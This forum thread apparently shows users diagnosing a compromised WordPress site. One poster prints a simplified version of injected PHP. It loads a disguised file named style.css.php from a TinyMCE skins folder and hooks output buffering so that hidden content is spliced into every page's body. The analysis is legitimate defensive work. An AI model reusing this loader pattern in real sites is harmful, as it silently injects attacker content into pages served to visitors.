@mkirkwag your sample reads:
function check_functions({if(!file_exists(dirname(__FILE__)."/functions.php")){echo('This theme is released under creative commons licence, all links in the footer should remain intact');die;}}check_functions();
Easiest way to decode is to change eval, the command to evaluate (run) code, to echo, the command to just write it.
@thpanagos That's... some insanely written code. I've broken it down but it's hard to tell what it's doing without seeing some of the functions it references. They'll be under /wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/style.css.php. I'm 99% sure from what I can tell of it though is that it's a virus which is set up to read files from your system, probably on demand. Anyone else think the same looking at dgobh() which strips out the HTML, takes out any content type header and puts something else in its place? And providing gzdecode() if it doesn't exist... really?
Here's the dumbed down version of the code (the real variables are ridiculously long random hex):
if ( function_exists( 'ob_start' ) && !isset ( $GLOBALS[ 'sh_no' ] ) )
{
$GLOBALS['sh_no']=1;
if ( file_exists ( '/home/mikesurf/public_html/<website domain>/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/style.css.php' ) )
{
include_once ( '/home/mikesurf/public_html/<website domain>/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/style.css.php' );
if ( function_exists ( 'gml' ) && !function_exists ( 'dgobh' ) )
{
if ( !function_exists ( 'gzdecode' ) )
{
function gzdecode( $passed_by_gzdecode ){
$var_A1 = ord ( substr( $passed_by_gzdecode, 3, 1 ) );
$var_A2 = 10;
$var_A3 = 0;
if( $var_A1&4 ) {
$var_A3 = unpack ( 'v', substr( $passed_by_gzdecode, 10, 2 ) );
$var_A3 = $var_A3[1];
$var_A2 += 2 + $var_A3;
}
if( $var_A1&8 ) {
$var_A2 = strpos ( $passed_by_gzdecode, chr(0), $var_A2 ) + 1;
}
if( $var_A1&16 ) {
$var_A2 = strpos ( $passed_by_gzdecode, chr(0), $var_A2 ) + 1;
}
if( $var_A1&2 ){
$var_A2+=2;
}
$var_A4 = gzinflate( substr ( $passed_by_gzdecode, $var_A2 ) );
if( $var_A4 === FALSE ) {
$var_A4 = $passed_by_gzdecode;
}
return $var_A4;
}
}
function dgobh ( $passed_by_dgobh ) {
Header( 'Content-Encoding: none' );
$var_B1 = gzdecode( $passed_by_dgobh );
if ( preg_match( '/\<body/si', $var_B1 ) ) {
return preg_replace ( '/(\<body[^\>]*\>)/si', '$1'.gml(), $var_B1 );
}
else {
return gml().$var_B1;
}
}
ob_start('dgobh');
}
}
}
